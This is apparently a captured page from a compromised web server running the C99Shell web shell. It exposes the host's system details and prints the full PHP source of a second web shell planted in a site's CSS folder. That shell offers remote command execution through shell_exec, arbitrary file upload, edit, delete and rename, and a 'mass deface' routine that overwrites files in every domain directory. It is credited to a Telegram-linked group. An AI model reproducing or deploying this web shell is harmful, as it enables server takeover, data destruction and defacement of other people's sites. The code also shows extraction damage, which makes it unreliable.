!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html/public/custom/css/333221/   drwxr-xr-x
Free 28.96 GB of 117.98 GB (24.55%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     index.php (18.17 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php  
// Include Teko font from Google Fonts and Font Awesome
echo '<link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=Teko:wght@400;500;600;700&display=swap">';
echo 
'<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">';

// Apply Teko font to the entire page and set colors
echo '<style>
    body {
        font-family: "Teko", sans-serif;
        background-color: #4A2C2A; /* Dark brown background */
        color: yellow; /* Yellow font */
    }
    h3, th, td {
        font-family: "Teko", sans-serif;
        color: yellow;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        font-family: "Teko", sans-serif;
        color: yellow;
        background-color: black;
    }
    textarea {
        color: yellow;
        background-color: black;
    }
    a {
        color: yellow;
    }
    table {
        color: yellow;
    }

    /* Styles for the mass deface link */
    #massDefaceLink {
        display: inline-block;
        padding: 10px 30px; /* Adjust padding for a more elongated shape */
        border-radius: 25px; /* Makes it oval */
        background-color: rgba(0, 0, 0, 0.5); /* Optional: Add background color */
        transition: background-color 0.3s;
        cursor: pointer;
    }

    #massDefaceLink:hover {
        background-color: rgba(255, 255, 0, 0.3); /* Optional: Change color on hover */
    }
</style>'
;

// ASCII Art
echo '<div style="text-align: center; font-family: monospace; white-space: pre;">';
echo 
"\n";  
echo 
" ██████  █████  ████████ ███████ ██████  ███████  ██████  █████  ███    ███      ██████  ██████  ██████  ██████      ██    ██ ██████      ██████  \n";
echo 
"██      ██   ██    ██    ██      ██   ██ ██      ██      ██   ██ ████  ████     ██      ██    ██ ██   ██ ██   ██     ██    ██      ██    ██  ████ \n";
echo 
"██      ███████    ██    █████   ██████  ███████ ██      ███████ ██ ████ ██     ██      ██    ██ ██████  ██████      ██    ██  █████     ██ ██ ██ \n";
echo 
"██      ██   ██    ██    ██      ██   ██      ██ ██      ██   ██ ██  ██  ██     ██      ██    ██ ██   ██ ██           ██  ██       ██    ████  ██ \n";
echo 
" ██████ ██   ██    ██    ███████ ██   ██ ███████  ██████ ██   ██ ██      ██      ██████  ██████  ██   ██ ██            ████   ██████  ██  ██████  \n"
echo 
'</div>';  

// Display system information  
echo "<h3>Server Info:</h3>";  
echo 
"Uname: " php_uname() . "<br>";  
echo 
"Software: " $_SERVER['SERVER_SOFTWARE'] . "<br>";  
echo 
"PHP Version: " phpversion() . "<br>";  
echo 
"Server IP: " $_SERVER['SERVER_ADDR'] . "<br>";  
echo 
"Hacker IP: " $_SERVER['REMOTE_ADDR'] . "<br>";  
echo 
"HDD: " disk_free_space("/") . " bytes free of " disk_total_space("/") . " bytes total<br>";  
echo 
"User: " get_current_user() . "<br>";  
echo 
"Group: " posix_getgrgid(posix_getegid())['name'] . "<br>";  
echo 
"Home Shell: " getcwd() . "<br><br>";   

// Mass Deface Link
echo '<div style="text-align: center; margin: 20px 0;">
        <span id="massDefaceLink" onclick="toggleMassDefaceForm()">
            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mass deface&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
        </span>
        <div id="massDefaceForm" style="display: none; margin-top: 10px;">
            <form method="POST">
                <label>Enter directory path (e.g., /var/www/):</label><br>
                <input type="text" name="mass_deface_path" style="width: 100%;" required><br><br>
                <label>Save to (filename.ext):</label><br>
                <input type="text" name="deface_filename" style="width: 100%;" placeholder="index.html" required><br><br>
                <label>Deface content (HTML or other):</label><br>
                <textarea name="deface_content" style="width: 100%; height: 200px;" required></textarea><br>
                <input type="submit" name="mass_deface_submit" value="Execute Deface" style="margin-top: 10px;">
            </form>
        </div>
      </div>'
;

echo 
"<script>
function toggleMassDefaceForm() {
    var form = document.getElementById('massDefaceForm');
    form.style.display = (form.style.display === 'none' || form.style.display === '') ? 'block' : 'none';
}
</script>"
;

// Handle Mass Deface Submission
if (isset($_POST['mass_deface_submit'])) {
    
$defacePath realpath($_POST['mass_deface_path']);
    
$defaceContent $_POST['deface_content'];
    
$defaceFilename $_POST['deface_filename'];

    
// Check if directory is valid and readable
    
if (is_dir($defacePath) && is_readable($defacePath)) {
        
$domains = []; // Store the affected domains
        
$entries scandir($defacePath);

        foreach (
$entries as $entry) {
            
$entryPath $defacePath '/' $entry;

            
// Only target directories that look like domain names
            
if (is_dir($entryPath) && preg_match('/\.[a-z]{2,}$/i'$entry)) {
                
$targetFile $entryPath '/' $defaceFilename// Custom file name
                
                // Ensure the file is writable or can be created
                
if (!file_exists($targetFile) || is_writable($targetFile)) {
                    
file_put_contents($targetFile$defaceContent);
                    
$domains[] = $entry '/' $defaceFilename// Add domain to affected list
                
}
            }
        }

        
// Display success message with affected domains
        
if (!empty($domains)) {
            echo 
"<h3>Mass Deface Successful. Affected Sites:</h3><ul>";
            foreach (
$domains as $domain) {
                echo 
"<li>$domain</li>";
            }
            echo 
"</ul>";
        } else {
            echo 
"<h3>No domain directories found or no writable files to deface.</h3>";
        }
    } else {
        echo 
"<h3>Invalid directory or permission denied.</h3>";
    }
}

// Helper function to get file permissions in symbolic format  
function getPermissions($file) {  
    
$perms fileperms($file);  
    
$symbolic '';  

    
// File type  
    
if (($perms 0xC000) == 0xC000) {  
        
$symbolic 's'// Socket  
    
} elseif (($perms 0xA000) == 0xA000) {  
        
$symbolic 'l'// Symbolic Link  
    
} elseif (($perms 0x8000) == 0x8000) {  
        
$symbolic '-'// Regular file  
    
} elseif (($perms 0x6000) == 0x6000) {  
        
$symbolic 'b'// Block special  
    
} elseif (($perms 0x4000) == 0x4000) {  
        
$symbolic 'd'// Directory  
    
} elseif (($perms 0x2000) == 0x2000) {  
        
$symbolic 'c'// Character special  
    
} elseif (($perms 0x1000) == 0x1000) {  
        
$symbolic 'p'// FIFO pipe  
    
} else {  
        
$symbolic 'u'// Unknown  
    
}  

    
// Owner permissions  
    
$symbolic .= (($perms 0x0100) ? 'r' '-') . (($perms 0x0080) ? 'w' '-') . (($perms 0x0040) ? 'x' '-');  
    
// Group permissions  
    
$symbolic .= (($perms 0x0020) ? 'r' '-') . (($perms 0x0010) ? 'w' '-') . (($perms 0x0008) ? 'x' '-');  
    
// Other permissions  
    
$symbolic .= (($perms 0x0004) ? 'r' '-') . (($perms 0x0002) ? 'w' '-') . (($perms 0x0001) ? 'x' '-');  

    return 
$symbolic;  
}   

// Get current directory path  
$current_dir getcwd();  

// If navigating to a directory  
if (isset($_GET['path'])) {  
    
$path realpath($_GET['path']);  
    if (
$path && is_dir($path)) {  
        if (
is_readable($path)) { // Check if directory is readable
            
chdir($path);  
            
$current_dir $path;  
        } else {
            echo 
"<h3>Access Denied</h3>";
        }
    }  
}  

// Handle deletion of selected files or directories  
if (isset($_GET['delete_item'])) {  
    
$item_path realpath(urldecode($_GET['delete_item']));  
    if (
is_file($item_path)) {  
        
unlink($item_path);  
        echo 
"<script>alert('File deleted successfully.');</script>";  
    } elseif (
is_dir($item_path)) {  
        
rmdir($item_path);  
        echo 
"<script>alert('Directory deleted successfully.');</script>";  
    }  
    echo 
"<script>window.location.href = window.location.pathname;</script>";  
}  

// Handle renaming of files or directories  
if (isset($_GET['rename_item']) && isset($_GET['new_name'])) {  
    
$current_name realpath(urldecode($_GET['rename_item']));  
    
$new_name dirname($current_name) . '/' urldecode($_GET['new_name']);  
    
rename($current_name$new_name);  
    echo 
"<script>alert('Item renamed successfully.');</script>";
    
// Redirect to refresh the file list
    
echo "<script>window.location.href = window.location.pathname;</script>";
}  

// File Editing
if (isset($_POST['edit_file']) && isset($_POST['file_content'])) {
    
$file realpath(urldecode($_POST['edit_file']));
    
$content $_POST['file_content'];
    
    
// Ensure the file exists and is writable
    
if (is_file($file) && is_writable($file)) {
        if (
file_put_contents($file$content) !== false) {
            echo 
"<script>
                    alert('File \"" 
htmlspecialchars(basename($file)) . "\" edited successfully.');
                    window.location.href = window.location.pathname;
                  </script>"
;
        } else {
            echo 
"<script>
                    alert('Failed to edit file \"" 
htmlspecialchars(basename($file)) . "\".');
                  </script>"
;
        }
    } else {
        echo 
"<script>
                alert('File does not exist or is not writable.');
              </script>"
;
    }
    exit();
}

// Handle file editing display
if (isset($_GET['edit_item'])) {
    
$edit_item realpath(urldecode($_GET['edit_item']));
    if (
is_file($edit_item) && is_readable($edit_item)) {
        
$file_content file_get_contents($edit_item);
        echo 
"<h3>Editing: " htmlspecialchars(basename($edit_item)) . "</h3>";
        echo 
"<form method='POST' action='?'>
                <textarea name='file_content' style='width: 100%; height: 400px;'>"
htmlspecialchars($file_content) ."</textarea><br>
                <input type='hidden' name='edit_file' value='" 
urlencode($edit_item) . "'>
                <input type='submit' value='Save'>
              </form>"
;
        exit();
    } else {
        echo 
"<h3>File not found or not readable.</h3>";
    }
}



// Include this CSS in your style section
echo '<style>
    /* Hide the "No files chosen" text */
    input[type="file"]::file-selector-button {
        display: none;
    }
</style>'
;

// Upload Form    
echo "<form enctype='multipart/form-data' method='POST' id='fileForm'>
        <div style='margin-bottom: 10px;'>
            <input type='file' name='upload' id='fileInput' onchange='this.form.submit();' style='width: 100%;'>
        </div>
        <div>
            <input type='text' name='cmd' placeholder='Cmd Shell' style='width: 100%;'>
        </div>
      </form>"
;


// File Upload Handler
if (isset($_FILES['upload'])) {
    
$target_path basename($_FILES['upload']['name']);
    if (
move_uploaded_file($_FILES['upload']['tmp_name'], $target_path)) {
        echo 
"<script>alert('File " basename($_FILES['upload']['name']) . " uploaded successfully.');</script>";
        echo 
"<script>window.location.href = window.location.pathname;</script>";
    } else {
        echo 
"<script>alert('Upload failed.');</script>";
    }
}


// Terminal Command Handler
if (isset($_POST['cmd']) && !empty($_POST['cmd'])) {
    
$cmd escapeshellcmd($_POST['cmd']);
    
$output shell_exec($cmd);
    echo 
"<h3>Command Output:</h3><pre>$output</pre>";
}

// JavaScript for handling form submission
echo "<script>
document.getElementById('fileForm').addEventListener('submit', function(event) {
    var fileInput = document.getElementById('fileInput');
    var cmdInput = document.querySelector('input[name=\"cmd\"]');
    
    // Check if file input is empty and cmd input is not empty
    if (fileInput.files.length === 0 && cmdInput.value.trim() === '') {
        event.preventDefault();
        alert('Please choose a file to upload.');
    }
});

document.querySelector('input[name=\"cmd\"]').addEventListener('keypress', function(event) {
    // Only handle the enter key to submit the command
    if (event.key === 'Enter') {
        event.preventDefault();
        var cmd = this.value.trim();
        if (cmd) {
            // Create a form to submit the command
            var form = document.createElement('form');
            form.method = 'POST';
            form.style.display = 'none';
            var input = document.createElement('input');
            input.type = 'hidden';
            input.name = 'cmd';
            input.value = cmd;
            form.appendChild(input);
            document.body.appendChild(form);
            form.submit();
        }
    }
});
</script>"
;

// File Explorer Layout  
echo "<h3>File Explorer:</h3>";  

// Display the path breadcrumb
$path_parts explode('/'trim($current_dir'/'));
$breadcrumb '';
for (
$i 0$i count($path_parts); $i++) {
    
$current_part implode('/'array_slice($path_parts0$i 1));
    
$breadcrumb .= "<a href='?path=" urlencode('/' $current_part) . "'>" htmlspecialchars($path_parts[$i]) . "</a> / ";
}
echo 
rtrim($breadcrumb' / ');

// File explorer table
echo "<table border='1' cellpadding='5' style='width: 100%;'>";  
echo 
"<tr style='text-align: center;'>";  
echo 
"<th>Name</th><th>Size</th><th>Modify</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th>";  
echo 
"</tr>";  

// Add ".." for parent directory link  
if ($current_dir != '/') {  
    echo 
"<tr>";  
    echo 
"<td style='text-align: left;'> <i class='fas fa-folder'></i> <a href='?path=" urlencode(dirname($current_dir)) . "'>..</a></td>"// Parent directory link  
    
echo "<td style='text-align: center;'>dir</td>";  
    echo 
"<td style='text-align: center;'>-</td>";  
    echo 
"<td style='text-align: center;'>-</td>";  
    echo 
"<td style='text-align: center;'>-</td>";  
    echo 
"<td style='text-align: center;'></td>";  
    echo 
"</tr>";  
}  

// Separate directories and files  
$dirs = [];  
$files = [];  

$entries scandir($current_dir);  
foreach (
$entries as $entry) {  
    if (
$entry !== "." && $entry !== "..") {  
        
$path $current_dir '/' $entry;  
        if (
is_dir($path)) {  
            
$dirs[] = $entry;  
        } else {  
            
$files[] = $entry;  
        }  
    }  
}  

// Sort directories and files  
sort($dirs);  
sort($files);  

// Display directories  
foreach ($dirs as $dir) {  
    
$file_path $current_dir '/' $dir;  
    
$file_size 'dir';  
    
$file_modify date("Y-m-d H:i:s"filemtime($file_path));  
    
$file_owner posix_getpwuid(fileowner($file_path))['name'] . '/' posix_getgrgid(filegroup($file_path))['name'];  
    
$file_permissions getPermissions($file_path);  
    echo 
"<tr>";  
    echo 
"<td style='text-align: left;'><i class='fas fa-folder'></i> <a href='?path=" urlencode($file_path) . "'>$dir</a></td>";  
    echo 
"<td style='text-align: center;'>$file_size</td>";  
    echo 
"<td style='text-align: center;'>$file_modify</td>";  
    echo 
"<td style='text-align: center;'>$file_owner</td>";  
    echo 
"<td style='text-align: center;'>$file_permissions</td>";  
    echo 
"<td style='text-align: center;'>";  
    echo 
"<a href='#' onclick='confirmDelete(\"" urlencode($file_path) . "\")'>[Delete]</a> ";  
    echo 
"<a href='#' onclick='confirmRename(\"" urlencode($file_path) . "\")'>[Rename]</a>";  
    echo 
"</td>";  
    echo 
"</tr>";  
}  

// Display files  
foreach ($files as $file) {  
    
$file_path $current_dir '/' $file;  
    
$file_size filesize($file_path) . ' B';  
    
$file_modify date("Y-m-d H:i:s"filemtime($file_path));  
    
$file_owner posix_getpwuid(fileowner($file_path))['name'] . '/' posix_getgrgid(filegroup($file_path))['name'];  
    
$file_permissions getPermissions($file_path);  
    echo 
"<tr>";  
    echo 
"<td style='text-align: left;'><i class='fas fa-file'></i> <a href='?path=" urlencode($file_path) . "'>$file</a></td>";  
    echo 
"<td style='text-align: center;'>$file_size</td>";  
    echo 
"<td style='text-align: center;'>$file_modify</td>";  
    echo 
"<td style='text-align: center;'>$file_owner</td>";  
    echo 
"<td style='text-align: center;'>$file_permissions</td>";  
    echo 
"<td style='text-align: center;'>";  
    echo 
"<a href='?edit_item=" urlencode($file_path) . "'> [Edit]</a> ";  
    echo 
"<a href='?delete_item=" urlencode($file_path) . "' onclick='return confirm(\"Are you sure?\")'>[Delete]</a> ";  
    echo 
"<a href='#' onclick='confirmRename(\"" urlencode($file_path) . "\")'>[Rename]</a>";  
    echo 
"</td>";  
    echo 
"</tr>";  
}  

echo 
"</table>";  

// JavaScript functions for delete and rename confirmation
echo "<script>
function confirmDelete(path) {
    if (confirm('Are you sure you want to delete this item?')) {
        window.location.href = '?delete_item=' + path;
    }
}

function confirmRename(path) {
    var newName = prompt('Enter new name for the item:');
    if (newName) {
        window.location.href = '?rename_item=' + path + '&new_name=' + encodeURIComponent(newName);
    }
}
</script>"
;

echo 
'<div style="text-align: center; margin-top: 20px; padding: 10px; background-color: #4A2C2A; border-top: 1px solid #ddd;">';
echo 
'<a href="https://t.me/caterscam" style="color: yellow; text-decoration: none;">© 2024 Caterscam Corp</a>';
echo 
'</div>';

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0047 ]--